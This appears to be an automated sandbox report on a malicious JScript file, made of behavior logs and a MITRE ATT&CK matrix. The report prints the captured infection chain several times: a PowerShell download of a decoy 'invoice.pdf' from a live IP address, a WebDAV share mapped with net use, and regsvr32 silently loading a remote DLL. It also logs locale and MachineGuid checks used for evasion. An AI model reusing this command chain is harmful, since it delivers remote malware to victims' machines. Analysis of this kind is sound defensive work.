Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\3399.js.csv");ITextStream.WriteLine(" entry:8585 f:hqnossw");ITextStream.WriteLine(" exec:2 f:hqnossw");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49708

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5077			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4741			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7640	Thread sleep count: 5077 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7628	Thread sleep count: 4741 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7700	Thread sleep time: -14757395258967632s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7724	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7924	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6584	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: svchost.exe, 00000009.00000002.2697658024.000002148F42B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: net.exe, 00000007.00000002.1471211574.00000195E4922000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1471211574.00000195E48B8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2698736353.0000021490A58000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.1471211574.00000195E4922000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWu{

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
